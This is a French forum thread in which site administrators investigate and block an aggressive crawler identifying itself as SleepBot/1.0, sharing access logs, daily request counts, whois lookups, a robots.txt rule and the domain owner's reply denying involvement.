34.66.8.7 41756 TLSv1.3 [04/Jul/2026:09:25:31 +0200] "GET /freemobile-incidents?PHPSESSID=hj42598k1cuhdqjve9q1konut3 HTTP/1.1" 200 10758 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.29.162.207 38296 TLSv1.3 [04/Jul/2026:09:25:31 +0200] "GET /freemobile-incidents?PHPSESSID=viguqgg7l5v5ul2879mo79logh HTTP/1.1" 200 10756 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.31.186.23 56614 TLSv1.3 [04/Jul/2026:09:25:31 +0200] "GET /orange-debit/rx-lb6-apres-travaux-sur-reseau/12?PHPSESSID=jhm1hjffh2tsch2lj1dqj3n6vu HTTP/1.1" 200 10367 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.31.94.20 52240 TLSv1.3 [04/Jul/2026:09:25:31 +0200] "GET /orange-les-news/orange-livebox-wi-fi-7/48?PHPSESSID=lmlaogq56mll0s4udns2fami2j HTTP/1.1" 200 10705 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.72.112.88 35700 TLSv1.3 [04/Jul/2026:09:25:31 +0200] "GET /free-mobile/vieux-smartphone-et-reseau-3g/24?PHPSESSID=r4vhq0pr297quvl574fa0qm2c6 HTTP/1.1" 200 12958 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.45.187.81 42584 TLSv1.3 [04/Jul/2026:09:25:31 +0200] "GET /eure/eure-normandie-numerique-vous-repond/24?PHPSESSID=v1o1rmb7v242cvqua94lmn5v2d HTTP/1.1" 200 14183 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
136.112.124.233 36710 TLSv1.3 [04/Jul/2026:09:25:32 +0200] "GET /1gb-free/soucis-debit-freebox-ultra/48?PHPSESSID=l5uk14mbks3rnq4uvqodhvvbna HTTP/1.1" 200 12971 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.29.162.207 38296 TLSv1.3 [04/Jul/2026:09:25:32 +0200] "GET /freemobile-box?PHPSESSID=kh7p1fqs5btmkc07d58jdb42fp HTTP/1.1" 200 10860 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
35.255.8.171 42548 TLSv1.3 [04/Jul/2026:09:25:32 +0200] "GET /remplacer-freebox/ubiquiti-udm-pro-a-la-place-de-la-delta/24?PHPSESSID=arkeu2ll32q6tkop7squmjfnta HTTP/1.1" 200 13571 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
136.114.184.222 46058 TLSv1.3 [04/Jul/2026:09:25:32 +0200] "GET /installation-ftth/changement-des-dns-bbox-alertons-larcep/12?PHPSESSID=vlu672qm6ubj6f498krv7qg08o HTTP/1.1" 200 15659 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
35.188.33.184 44510 TLSv1.3 [04/Jul/2026:09:25:32 +0200] "GET /numerique-responsable/antennes-relais-solaire/12?PHPSESSID=t4pnbjnt1e4vq563c3reillvt2 HTTP/1.1" 200 11558 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.58.253.108 42270 TLSv1.3 [04/Jul/2026:09:25:32 +0200] "GET /orange-les-news/livebox-4k-fibre-vos-avis-evolutions-bugs-mises-a-jour?PHPSESSID=vs15u2mk3koip76mk50ijr58ho HTTP/1.1" 200 10388 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.123.197.63 39388 TLSv1.3 [04/Jul/2026:09:25:32 +0200] "GET /1gb-free/120?PHPSESSID=u9efa9b5s8tnmdi0n6l0kia9el HTTP/1.1" 200 14016 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
35.253.90.163 36144 TLSv1.3 [04/Jul/2026:09:25:33 +0200] "GET /free-mobile/degradation-du-reseau-free-mobile/24?PHPSESSID=nbjrllqfg488ga155sh8roesq4 HTTP/1.1" 200 13283 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.60.108.253 44222 TLSv1.3 [04/Jul/2026:09:25:33 +0200] "GET /free-mobile/free-va-lancer-ses-cartes-prepayees/12?PHPSESSID=sk1a10t58saoe87msi49our3l1 HTTP/1.1" 200 14842 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.134.176.29 37964 TLSv1.3 [04/Jul/2026:09:25:33 +0200] "GET /orange-les-news/nouvelle-mise-a-jour-firmware-livebox5/36?PHPSESSID=22b4u8maou7ujte1s3h41kv68s HTTP/1.1" 200 13186 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
35.255.8.171 42548 TLSv1.3 [04/Jul/2026:09:25:33 +0200] "GET /4g-bytel/arnaque-forfait-1go/24?PHPSESSID=eomj82kta3oei8vr08m0gscq35 HTTP/1.1" 200 9920 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
136.111.183.240 60128 TLSv1.3 [04/Jul/2026:09:25:33 +0200] "GET /installation-ftth/changement-des-dns-bbox-alertons-larcep/36?PHPSESSID=b4gk6h6g05f1hcgfe8qurlh0a5 HTTP/1.1" 200 10479 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
136.112.124.233 36710 TLSv1.3 [04/Jul/2026:09:25:33 +0200] "GET /orange-les-news/barre-de-son-cabasse-for-orange/24?PHPSESSID=brg6a7ahf4tg40c1o6d6gkfknn HTTP/1.1" 200 9470 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
34.45.187.81 42584 TLSv1.3 [04/Jul/2026:09:25:33 +0200] "GET /1gb-free/soucis-debit-freebox-ultra/60?PHPSESSID=actk21fhl1r029kctbnabaei14 HTTP/1.1" 200 6714 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
-
Bonjour,
effectivement si il ne sert pas à grand chose ...
Sinon manifestement tu peux le limiter en req/min via apache/nginx, ça peut être une solution intermédiaire ...
-
J'ai commencé par mettre ces lignes dans mon robots.txt
User-agent: SleepBot
Disallow: /
On va voir si c'est efficace.
Par contre, il ne va voir ce fichier que tous les 3/4 jours. Dernière requête le 1er juillet, il ne devrait pas tarder à de nouveau le charger.
-
700.000 requêtes, c'est quand même énorme, et si cela date d'un mois environ, il y a eu un gros changement de comportement de ce robot. A quoi peuvent servir 700.000 requêtes par jour ? Il y a loin d'avoir autant de nouveaux messages chaque jour.
Est-ce qu'il y a un moyen de s'adresser à Google pour demander des explications ? Ou qu'ils vérifient.
Au vu du nombre de requêtes, je serais pour le bloquer. il y a encore eu des lenteurs sur le site ces derniers jours...
Tu devrais voir dans quelques heures s'il respecte le robots.txt.
-
En fait, après vérification, je trouve que l'IPv4 est chez Amazon :
$ host sleepbot.com
sleepbot.com has address 34.228.128.161
sleepbot.com has IPv6 address ::ffff:34.228.128.161
sleepbot.com mail is handled by 0 mx.sleepbot.com.
$ whois 34.228.128.161
...
NetRange: 34.192.0.0 - 34.255.255.255
CIDR: 34.192.0.0/10
NetName: AT-88-Z
NetHandle: NET-34-192-0-0-1
Parent: NET34 (NET-34-0-0-0-0)
NetType: Direct Allocation
OriginAS:
Organization: Amazon Technologies Inc. (AT-88-Z)
RegDate: 2016-09-12
Updated: 2016-09-12
Ref: https://rdap.arin.net/registry/ip/34.192.0.0
OrgName: Amazon Technologies Inc.
OrgId: AT-88-Z
Address: 410 Terry Ave N.
City: Seattle
StateProv: WA
PostalCode: 98109
Country: US
RegDate: 2011-12-08
Updated: 2026-04-17
Comment: All abuse reports MUST include:
Comment: * src IP
Comment: * dest IP (your IP)
Comment: * dest port
Comment: * Accurate date/timestamp and timezone of activity
Comment: * Intensity/frequency (short log extracts)
Comment: * Your contact details (phone and email) Without these we will be unable to identify the correct owner of the IP address at that point in time.
Ref: https://rdap.arin.net/registry/entity/AT-88-Z
...
OrgAbuseHandle: AEA8-ARIN
OrgAbuseName: Amazon EC2 Abuse
OrgAbusePhone: +1-206-555-0000
OrgAbuseEmail: trustandsafety@support.aws.com
OrgAbuseRef: https://rdap.arin.net/registry/entity/AEA8-ARIN
...
Peut-être essayer d'envoyer un mail à l'adresse abuse, avec les informations demandées ?
Ou encore mieux, contacter l'auteur de sleepbot.com : https://sleepbot.com/lookit/etc/dfoley.html
Ce site a très bien pu être piraté.
-
Sur HackerNews (https://news.ycombinator.com/item?id=48582005) quelqu'un a remarqué que la personne derrière le site abandonné https://sleepbot.com/ semble avoir travaillé pour la boite de "media intelligence" Zignal Labs (Wikipedia (https://en.wikipedia.org/wiki/Zignal_Labs)), ce qui implique du scrapping... Leur description sur LinkedIn dit "Agentic Intelligence for National Security".
Ce qui est étonnant c'est que le useragent "SleepBot" semble n'être apparu pour la 1ère fois qu'autour de mars de cette année, et il ne bosse plus chez Zignal Labs depuis 2019.
-
En fait, après vérification, je trouve que l'IPv4 est chez Amazon :
Le site web sleepbot.com a une IPv4 chez Amazon et une IPv6 déclarée dans le DNS qui n'est pas correcte ( ::ffff:34.228.128.161 ).
Par contre, les robots qui accèdent au forum sont tous chez Google et ne semblent pas utiliser IPv6.
Voici les stats pour la journée d'hier :
Voici ce que cela donne sur ce forum, sur les logs du 3 juillet 2026 :
(cliquer sur l'image pour zoomer)
(https://lafibre.info/images/stats/202607_stats_lafibre_top_requetes_par_ip_avec_user-agent.webp) (https://lafibre.info/images/stats/202607_stats_lafibre_top_requetes_par_ip_avec_user-agent.webp)
Uniquement des IPv4, pourtant le site écoute bien en IPv6, mais les IP qui sollicitent le plus Apache sont dans mon cas toutes des IPv4.
La première IP, c'est clairement du déni de service, qui est depuis bloquée.
Les deux IP suivantes sont les robots pour faire fonctionner les IA ChatGPT et Claude.
On a ensuite plusieurs IP d'un prétendu user-agent SleepBot qui va être bloqué.
-
J'ai regardé jour par jour : Les requêtes avec l'user agent SleepBot/1.0 ont une caractéristique, leur fréquence augmente chaque jour :
(https://lafibre.info/images/stats/202607_stats_lafibre_sleepbot.webp)
Date Nb requêtes
23 mars 2026 0
24 mars 2026 2
25 mars 2026 1
26 mars 2026 1
27 mars 2026 1
28 mars 2026 3
29 mars 2026 1
30 mars 2026 1
31 mars 2026 1
1 avril 2026 1
2 avril 2026 0
3 avril 2026 2
4 avril 2026 730
5 avril 2026 41
6 avril 2026 1
7 avril 2026 1
8 avril 2026 1
9 avril 2026 1
10 avril 2026 1
11 avril 2026 1
12 avril 2026 1
13 avril 2026 1
14 avril 2026 46
15 avril 2026 8
16 avril 2026 2
17 avril 2026 7
18 avril 2026 3
19 avril 2026 2
20 avril 2026 4
21 avril 2026 12
22 avril 2026 6
23 avril 2026 3
24 avril 2026 24
25 avril 2026 16
26 avril 2026 7
27 avril 2026 7
28 avril 2026 3
29 avril 2026 5
30 avril 2026 7
1 mai 2026 32
2 mai 2026 49
3 mai 2026 10
4 mai 2026 11
5 mai 2026 15
6 mai 2026 23
7 mai 2026 28
8 mai 2026 19
9 mai 2026 13
10 mai 2026 24
11 mai 2026 24
12 mai 2026 41
13 mai 2026 14
14 mai 2026 34
15 mai 2026 33
16 mai 2026 36
17 mai 2026 57
18 mai 2026 121
19 mai 2026 446
20 mai 2026 3 313
21 mai 2026 3 413
22 mai 2026 3 704
23 mai 2026 4 460
24 mai 2026 4 455
25 mai 2026 6 386
26 mai 2026 8 652
27 mai 2026 10 035
28 mai 2026 18 092
29 mai 2026 12 424
30 mai 2026 17 941
31 mai 2026 25 836
1 juin 2026 33 853
2 juin 2026 30 421
3 juin 2026 34 937
4 juin 2026 42 308
5 juin 2026 47 356
6 juin 2026 49 874
7 juin 2026 55 659
8 juin 2026 53 422
9 juin 2026 72 704
10 juin 2026 83 143
11 juin 2026 105 645
12 juin 2026 121 254
13 juin 2026 132 702
14 juin 2026 137 852
15 juin 2026 153 804
16 juin 2026 171 957
17 juin 2026 201 514
18 juin 2026 230 880
19 juin 2026 266 539
20 juin 2026 297 659
21 juin 2026 354 198
22 juin 2026 417 095
23 juin 2026 469 116
24 juin 2026 480 179
25 juin 2026 625 833
26 juin 2026 665 114
27 juin 2026 736 905
28 juin 2026 719 707
29 juin 2026 732 581
30 juin 2026 732 718
1 juillet 2026 762 171
2 juillet 2026 774 601
3 juillet 2026 736 076
Ce 4 juillet, on a déjà dépassé 590 000 requêtes et la journée n'est pas terminée.
-
Tu pourrais contacter le gars de sleepbot.com (via LinkedIn j'imagine, puisqu'il n'y a plus de serveur de mail sur mx.sleepbot.com) histoire de savoir ce qu'il en dit... Même si je soupçonne qu'il n'a rien à voir avec le bot. Ca pique ma curiosité, mais je ne vais pas le contacter moi puisque ça ne me concerne pas directement.
-
J'ai contacté Dan Foley sur LikdIn. Merci de l'idée.
-
J'ai bloqué ce matin SleepBot. Cela va soulager le CPU.
Hier, il y a eu 782 457 requêtes, un record, donc la hausse n'était pas terminée...
Le robot a bien chargé robot.txt hier soir :
IPv4 Port src TLS Date Heure URL code taille referrer url User Agent
34.66.8.7 44084 TLSv1.3 [04/Jul/2026:19:09:38 +0200] "GET /robots.txt HTTP/1.1" 200 584 "http://lafibre.info/robots.txt" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; SleepBot/1.0; +http://sleepbot.com/) Chrome/131.0.0.0 Safari/537.36"
Toutefois, il n'en a pas tenu compte. Cela a continué, même aujourd'hui avec l'IP qui a visité robots.txt
-
J'ai bloqué.
Voici l'impact du seul blocage de SleepBot/1.0 (j'ai mis une ligne rouge pour bien visualiser quand j'ai bloqué)
(https://lafibre.info/images/stats/202607_stats_lafibre_blocage_sleepbot_1.webp)
(https://lafibre.info/images/stats/202607_stats_lafibre_blocage_sleepbot_2.webp)
(https://lafibre.info/images/stats/202607_stats_lafibre_blocage_sleepbot_3.webp)
-
C'est lunaire d'arriver à faire 780 000 requêtes par jour, ce robot est sacrément mal fait.
J'ai regardé par curiosité sur mon site internet personnel et il y a bien Sleepbot dans les logs, mais il se comporte bien, avec seulement ~50 requêtes par jour, soit infiniment moins que celles des autres robots d'IA (~10000/jour de la part d'OpenAI par exemple, principalement "ChatGPT-User").
Ça pique ma curiosité
Pareil, je suis également curieux d'avoir la réponse si jamais tu finis par trouver qui est derrière ça ;D
-
J'ai regardé les log et j'ai pris quelques IP suspectes qui viennent de faire du trafic il y a quelques secondes :
D'ailleurs, je vois que pas mal de ces IP sont enrôlées dans le service de proxy résidentiel NetNut (on peut le voir via le site ipinfo.io), qui a été victime d'une action conjointe du FBI et de Google il y a 3 jours : https://cloud.google.com/blog/topics/threat-intelligence/google-continued-disruption-residential-proxy-networks?hl=en
Nous estimons que nos actions coordonnées ont entraîné une dégradation significative du réseau de proxys de NetNut et de ses activités commerciales, réduisant de plusieurs millions le parc d’appareils disponibles pour l’opérateur de proxys. Outre la vente d’accès au réseau sous la marque NetNut, NetNut dispose d’un programme de revendeurs solide qui permet la commercialisation en marque blanche de son réseau. Google est convaincu que de nombreuses marques populaires de proxys résidentiels proposent en réalité le botnet de NetNut en marque blanche. Bien que nous nous attendions à ce que cette perturbation ait un effet d'entraînement plus important sur l'ensemble de l'écosystème des proxys résidentiels, les observations réalisées après la perturbation d'IPIDEA ont démontré que certains réseaux peuvent se montrer résilients. Nous avons constaté que, confrontés à la dégradation de leur propre botnet, les opérateurs de proxys commencent à acheter de la capacité auprès de leurs concurrents, devenant ainsi, de fait, des revendeurs.
-
Tu pourrais contacter le gars de sleepbot.com (via LinkedIn j'imagine, puisqu'il n'y a plus de serveur de mail sur mx.sleepbot.com) histoire de savoir ce qu'il en dit... Même si je soupçonne qu'il n'a rien à voir avec le bot. Ca pique ma curiosité, mais je ne vais pas le contacter moi puisque ça ne me concerne pas directement.
Je l'ai contacté et il m'a répondu :
the traffic is not me. some other actor is using my site in their User-Agent for some unknown reason
you're not the first person to ask -- i'm quite miffed that someone is abusing my domain name
Traduction rapide en Français :
Ce trafic ne vient pas de moi. Un autre acteur utilise mon site dans son en-tête User-Agent, pour une raison inconnue.
Vous n'êtes pas la première personne à poser la question ; je suis assez agacé que quelqu'un détourne ainsi mon nom de domaine.